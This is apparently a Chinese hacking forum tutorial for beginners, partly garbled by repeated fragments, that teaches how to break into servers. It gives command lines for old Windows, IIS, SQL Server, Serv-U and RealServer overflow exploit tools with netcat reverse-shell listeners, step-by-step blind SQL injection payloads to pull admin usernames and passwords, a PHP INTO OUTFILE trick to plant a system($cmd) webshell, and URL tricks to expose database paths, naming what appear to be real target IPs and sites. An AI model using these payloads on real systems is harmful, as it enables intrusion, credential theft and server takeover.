溢出*** 因为时间的原因我只 介绍下这些漏洞的是如何利用的不介绍他们是怎么产生的至于怎么修补我会提一下的~~~ 在介绍漏洞之前我先介绍几个很不错的扫描软件,毕竟扫描是基础 x-san 这个扫描软件我想大家不在陌生!!他是一个全方位扫描漏洞的软件,他主要是用

溢出***    因为时间的原因我只 介绍下这些漏洞的是如何利用的不介绍他们是怎么产生的至于怎么修补我会提一下的~~~
在介绍漏洞之前我先介绍几个很不错的扫描软件,毕竟扫描是基础
x-san
这个扫描软件我想大家不在陌生!!他是一个全方位扫描漏洞的软件,他主要是用于扫描漏洞的,当然其他方面的比如固定端口的扫描,ip的扫描也都
是可以的缺点就是速度太慢~~~
nmap
这个扫描软件功能比较强大!!是居于cmd界面操作的,只要按照他的提示使用即可,扫描的速度也比较的快,要想快速搞定一台服务器的朋友还是用
这个扫描软件比较好
x-way
这个扫描软件他的功能与其他的扫描软件不同!!不只是扫描还包括了很多的小工具!!比如查询器,猜解机...如果你要猜测什么账号和密码方面的
用这个就不错了
现在我在把常见的端口所对应的服务给大家列出来!!我觉得了解一下还是很重要的~~
80         
全球信息网超文本传输协议(www)
110        pop3
服务器(邮箱发送服务器)
135
tcp/ip       查询服务 dns
139        
共享资源端口(netbios-ssn)
143        imap
电子邮件
443        
安全服务
444        snpp
445        nt
的共享资源新端口(139)
990        ftps
995        pop3s
1026       win2000
internet 信息服务
1243       sub-7
***
1524       ingreslock
后门
3128       squid http
代理服务器的默认端口
3389       win2000
远程登陆端口
4899       remote administrator [
远程控制]
7626      
冰河(***) 默认端口
12345      netbus
*** 默认端口
12346      netbus
*** 默认端口
还有象流光呀什么的我想大家 都比较熟悉了~~这里就不说了!!好了下面开始介绍漏洞和漏洞的利用方法!!其操作都是在cmd下面操作~~
漏洞的利用方法我都翻译成了中文,很适合那种英语学的比较菜的朋友!!

1.webdav
漏洞 首先要开放80端口   要安装了 iis
用到的工具 webdavx3
利用方法   webdavx3 目标主机ip
2.rpc
漏洞 工具 winrpcdcom
利用方法 winrpcdcom 目标主机ip(操作系统类型)   目标主机ip
3.idq
首先要安装了iis
利用 正向连接
1.
溢出
2.telnet
登陆
telnet
目标主机ip 端口
反响连接
nc -l -p
本机端口
3.dcomrpc
溢出
漏洞利用 dcomrpc -d 目标主机ip [ortions] 有提示

[ortions] -l 6668
绑定6668端口在6668端口溢出
4.rpc long
文件名溢出
此漏洞可以通过 135tcp/ip 139 445 593 端口发起***
msdcomscanner.exe 软件扫描
漏洞利用 rpc2sbaa.exe   os(操作系统类型0 1) 目标主机ip

5.rpc locator
溢出漏洞
扫描软件 rpc-locator.exe ip
看说明通过注册表改掉ip
在清空连接 建立空连接
最好溢出 xlocator 操作系统类型
6.iis.asp
影射分块编码远程溢出漏洞 aspcode 溢出
扫描的时候扫描iis漏洞就可以了
漏洞利用
aspcode.exe
目标主机ip [asp文件]iisstart.asp)开放的web端口是默认的80就不用填   win2000系统不用填写是winxp的话就要填写winxp
7.sql hello exploit
漏洞溢出***
首先扫描1433端口 分析对方是否开放了1433端口
dotpot port ready 1.6 来扫描是否开放1433端口
溢出工具 sqlhello
漏洞利用
sqlhello
反向连接工具 sqlhello 目标主机ip 目标主机端口1433 本机ip 本机端口
正向连接
工具 sqlhello2
sqlhello2
目标主机ip 目标主机端口1433
8. mssql sql2
溢出 首先扫描1433端口是否开放
溢出工具 nc sql2.exe
漏洞利用 sql2.exe 目标主机ip 本机ip 监听的本机端口 sql的版本一般为0
9.ser-u
溢出
首先扫描 ftp弱口令
溢出工具 serv-u 3.x/4.x
serv -i
目标主机ip -t 0(操作系统类型)-u ftp登陆账号 -p ftp登陆密码 -f 21对方开放的端口默认为21 -s 溢出后反响连接的端口也就上自己的端口
10
电影网站***real server 溢出
开放了real networks real sever 服务的服务器开放后其开放的断口的默认值为主要检测554端口
rtsp
端口   554
pna
端口 7070
http
端口80
mms
端口 1755
监控端口 9090
管理端口 自己设置
其他的断口号也可以改变
漏洞利用所要用到的工具 realex
溢出步骤
1.   realex host(
目标主机ip) 操作系统类型
2.   telnet host 31337   
绑定31337断口   在第2cmd窗口进行连接   要先溢出在连接
主要用于***电影网站
11    dameware mina remote control
远程缓冲区溢出 漏洞益处   
首先扫描6129 端口是否开放如果开放才有可能存在这个漏洞
方法反响连接
工具利用 dameweird.exe 目标主机ip 本机ip 本地监听端口 溢出版本
12.windows meida
远程益处漏洞 媒体服务产生的一个漏洞
首先扫描1755 7007 6666 7778 端口是否开放
溢出工具 nc
media.exe
漏洞利用 media 目标主机ip -p 目标主机端口(80 -r 路径(/scripts/nsiislog.dll
nc -vv
目标主机ip 34816(确定的) -vv邦定34816端口的意思不是反响连接
13.windows messenger
服务的远程溢出(消息服务产生的漏洞)
扫描工具 messengerscan
方法 scanmsgr target=192.168.0.1-192.168.0.255(一个网段)
漏洞利用第一步
msghack -h
目标主机ip -v 目标主机操作系统 -i 目标主机语言版本 -s 操作系统的补丁号(0 1-r 本机ip -p 监听的本机端口
第二步
nc -vv -l -p
本机端口    -vv邦定某个端口 -l -p反响连接或监听某个端口

综上所述溢出***的方法其实很简单 要么正向连接要么反向连接
正向连接就是用工具将他直接溢出
反响连接那么就要用到 nc这个小工具 因为反向连接是让目标主机来连接你,而不是你去连接目标主机,反向连接很容易逃过防火墙的检测..
当然还有其他方面的漏洞ms04 ms05 ,代理,输入法的漏洞....只要找到相应的工具将他溢出就可以了
以上的漏洞当然在实际电脑中很难找到了,我讲的只是漏洞利用的方法!!至于上面的漏洞怎么修复,大部分只要不断的升级打补丁就可以了~~
至于溢出之后怎么办就*大家发挥了~~~~
*********
好了现在我说下注入********
首先要 了解下基础的手动注入

1.
判断
and 1=1 and 1=2 (ie浏览器中输入) eg:www.hackbase.com and 1=1
and 1=1
返回正常页面

================================
and 1=2
返回错误页面
说明存在注入点
2.
猜表
and 0<>(select count(*) from *) (
同样在ie中输入) eg:www.hackbase.com and 0<>(select count(*) from *)
这个就最基础,最大众话的查询语句了.至于语句的作用我会给大家说明.但是具体的意思请大家自行找有关sql查询的资料看.

and 0<>(select count(*) from admin) ---
判断是否存在admin这张表

其中admin是可以换的,其他部分不要换.
一般的表的名称无非是admin adminuser user pass password ..
3.
猜帐号数目
and 0<(select count(*) from admin)   0
可以改为其他的

<
就是说看看 1是不是小于里面的帐号数目 如果返回的页面是正确的说明是对的,如果错误的说明不是的那么我们就要换成 2< 3< ..... 当然啦你也可以用1> 2> 来猜

4.
猜解字段名称
and 1=(select count(*) from admin where len(name)>0)
用户字段名称

and 1=(select count(*) from admin where len(password)>0)
密码字段名称
猜解表里面的字段名称了
and 1=(select count(*) from admin where len(*)>0)---
这个是核心语句哦也是大众话的语句.我们要做的就是在len( ) 括号里面加上我们想到的字段名称.

我们先来猜用户名字段 我用的是 name ok对了.那么下面我们就来猜密码字段了.
我先用pass 晕死不是的,那么我们再换成password看看 ok对了.
那么用户字段和密码字段我们都猜解出来了.下面就是猜解长度和具体的字符了.
5.
猜解各个字段的长度
猜解长度就是把
and 1=(select count(*) from admin where len(*)>0)

>0
换成其他的只道猜到=?返回正确页面为止,,下面我们开始吧.
首先是帐号长度...刚刚帐号字段是name
and 1=(select count(*) from admin where len(name)>0)
正确
and 1=(select count(*) from admin where len(name)>1)
正确
and 1=(select count(*) from admin where len(name)>2)
正确
and 1=(select count(*) from admin where len(name)>6)
错误
and 1=(select count(*) from admin where len(name)>5)
正确
and 1=(select count(*) from admin where len(name)>4)
正确
那么我们就可以知道长度是 6
and 1=(select count(*) from admin where len(name)=6)
正确
呵呵对了吧,=6返回的是正确页面.

下面是密码字段的长度
and 1=(select count(*) from admin where len(password)>0)
正确
and 1=(select count(*) from admin where len(password)>6)
正确
and 1=(select count(*) from admin where len(password)>10)
正确
and 1=(select count(*) from admin where len(password)>15)
错误
and 1=(select count(*) from admin where len(password)>14)
错误
and 1=(select count(*) from admin where len(password)>13)
错误
and 1=(select count(*) from admin where len(password)>12)
错误
and 1=(select count(*) from admin where len(password)>11)
正确
ok
长度是 12

name 6
password 12

长度出来了,下面就是具体的字符了

猜解字符
and 1=(select count(*) from admin where left(name,1)='a') ---
猜解用户
and 1=(select count(*) from admin where left(password,1)='a')
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select count(*) from admin where left(pass,1)='a') ---
猜解密码

left(name,1)='a'
注意了 1的位置就是你要猜解的字符的位置.
and 1=(select count(*) from admin where left(name,1)='a') ---
猜解用户帐号的第一位

and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位 就这样下去只到猜玩为止. and 1=(select count(*) from admin where left(name,1)='a') 错误 ..... and 1=(select count(*) f

and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样下去只到猜玩为止.

and 1=(select count(*) from admin where left(name,1)='a')
错误
.....
and 1=(select count(*) from admin where left(name,6)='pclzyq')
因为这个猜解过程比较漫长所以我就直接给出答案了.

and 1=(select count(*) from admin where left(password,1)='a')
错误
.......
and 1=(select count(*) from admin where left(password,12)='pclzyq000215')
直接给出了答案.

name = pclzyq
password = pclzyq000215


7.
找出登陆口,进行登陆
一般的登陆口:
admin.asp
admin_index.asp
admin/index.asp
admin/admin.asp
....
这些东西大家可以去逐渐积累......
实际上大多数的注入是要用到工具的 nb2(后台账号,密码猜解工具) acac2(注入点页面查找工具)
工具的使用比较简单,大家慢慢斟酌
**
但是实际上往往大多数的漏洞用工具是检测不出来的,用工具也根本无法注入,这个时候我们就不的不用到手工注入了,下面主要说下php注入的基础******
php
注入不象asp那样有nbsi之类的超强工具,其实知道他的注入原理后,完全可以实现手工注入。
   
php.ini中有一个配置选项magic_quotes_gpc=on/off=on时会把提交变量中的单引号,双引号,反斜线,空白字符前面加上反斜线变成转义字符,遇到这种情况,我们可以把提交语句用asc0x进行编码旧可以饶过了。有几个比较关键的语句,一是union,通过并运算查询当前表中字段,用与将多个select语句的结果联合到一个结果集中,可以用它猜字段,egid=1234 and 1=2 union select 1,2,3,4...。猜出后会在相应地方出现数字对应。load_file()用来返回文件里的内容,注意的是要写明全文件路径和名称,当然会出现文件读不出来的问题,原因很多主要是权限问题,还有文件是否可读,mysql用户是否具有file权限,还有就是些代码处理问题了用相关函数或者查原代码就可以了。eg:load_file('c:/boot.ini'),可以嵌入到union查询中,在相应的数字的位置上就会显示出你要得系统文件了。into outfile用来把表中内容写入文件,假设我们可以上传图片,上传后路径为:/upload/111.jpg,图片中的内容是一个很简单的系统变量<?phpsystem($cmd)?>,提交语句:id=1234 and 1=2 union select 1,2,load_file('d:/xxx/xxxx/down/upload/111.jpg'),4 into file'd:/xxx/xxxx/down/muma.php'(以前看过这个列子,记得最清楚了,嘿嘿~~,接着我们去看_blank>http://www.xxx.com/down/muma.php?cmd=net user,就可以执行命令了,注意的是mysql50以下不支持and连接两个表查询。 得到webshell还可以找一个可写的目录插入数据然后再导出到相应文件(如下),...很多方法。
   create table file (cmd text not null)
   insert into file (cmd) values ()   
   select cmd from file into outfile filepath
   drop table if exists file
   
有些站测试提交单引号就可以暴露很多信息是因为在php.ini中选项display_errors=on,会返回错误信息,象提交:_blank>http://www.shyau.com.tw/article.php?sid=140',结果呢?:warning: supplied argument is not a valid mysql result resource in d:\foxserv\www\shyau\includes\sql_layer.php on line 230

warning: supplied argument is not a valid mysql result resource in d:\foxserv\www\shyau\includes\sql_layer.php on line 230
路径都出来了,晕。
   
有时当提交单引号不能返回错误信息时,可以增加查询负值或改变查询类型,例如:id=1234我们可以提交:id=11111....(边界检查不彻底)或id=ssss(第一次见还是在x挡案看无敌的文章,原来这也可以啊)也有可能暴出敏感信息。
   mysql
也有内置变量,version()返回当前数据库版本信息,database()返回当前数据库名,user(),system_user(),session_user()返回mysql用户名,可以帮助我们获得更多信息。这些都是很基础的东西,更多的技术还要大家自己发现,文章含盖并不全,有些资料细节往大家查询php中文手册。~~
*****
好了关于注入方面的知识也不是一两句话能说的清楚的下面主要说下暴库****
一,关于"%5c"暴库大法:

这种方法被认为是暴库绝招,很是流行了一阵(随着知道的人多了,防备也加强了,没以前那么有效了)。这种方法,简单点说就是,打开网页时,把网址址中的"/"换成"%5c",然后提交,就可以暴出数据库的路径。
  实际上,并不是所有网址都有效,需要"asp?id="这样的网页地址(表示有调用数据库的行为),如果你确认这个网页有调用数据库的,后面不是这样的也可以,比如chklogin.asp等也可以。(当然,也还有其它条件,后面再谈。)

先举个例子,
_blank>_blank>http://219.237.81.46/yddown%5cview.asp?id=3
把第二个"/"换成"%5c"
_blank>_blank>http://219.237.81.46/yddown%5cview.asp?id=3
提交后会得到如下结果:
microsoft jet database engine
错误 '80004005'

'd:\111\admin\rds_dbd32rfd213fg.mdb'
不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/yddown/conn.asp
,行12
比如:上面的网站中,网站:_blank>http://219.237.81.46的根目录为:"d:\111\"雨点下载目录则在根目录(d:\111)内的"yddown"下,我们网站访问该站时,就是在访问d:\111\yddown\目录,而http://219.237.81.46/yddown/admin/,它只表明了adminyddown这个目录的相对关系,把这个网站放在e:盘,也一样不改变admin位于yddown目录下的关系。

  当server.mappath方法将相对路径转为真实路径时,它实际是三部分路径加在一起得到真实路径的:网页目前执行时所在的相对路径,也就是从网站物理根目录起的相对路径,比如上面例子中conn.asp处在从根目录起的"/yddown/"下;然后调用的数据库的相对路径是admin/rds_dbd32rfd213fg.mdb,这样就得到从根目录起的完整相对路径:"/yddown/admin/rds_dbd32rfd213fg.mdb"

这些都只是相对的路径,如何变为真实路径呢?
  设置过iis的人都会知道,每一个网站,都必须指定它在硬盘上的物理目录,比如上例中,网站根目录所在的物理目录为:"d:\111"server.mappath方法正是通过把"网站根目录的物理地址+完整的相对路径",从而得到真实的物理路径。这样,数据库在硬盘上的物理路径是:d:\111\yddown\admin\rds_dbd32rfd213fg.mdb
所以他的绝对路径就是
http://219.237.81.46\yddown\admin\rds_dbd32rfd213fg.mdb
.   conn.asp 暴库  
后面提交的东西变为/db/user.asp   也可以变为conn.inc
里,conn.asp只是表示数据库调用文件,因为多数都是这个名字(有些网站改名,我们也视同conn.asp)。其实,这种暴库法是最先出现的,以前很多牛人都对此进行过探讨。只是在"%5c"暴库大法出现后,倒较少有人提及。其实个人认为,"%5c"暴大法随着服务器设置安全性的加强,用武之地会越来越少。而conn.asp暴库大法发挥的余地更大,可以人为构造,臭要饭的当年著名的动网大挪移实现暴库,其实也属于此类。
例如   www.juidui.net/db/user.asp
关于***方面的内容还是很多的,要想学的精通一点还是要花点时间的,上面的教程还是很适合一些新手的**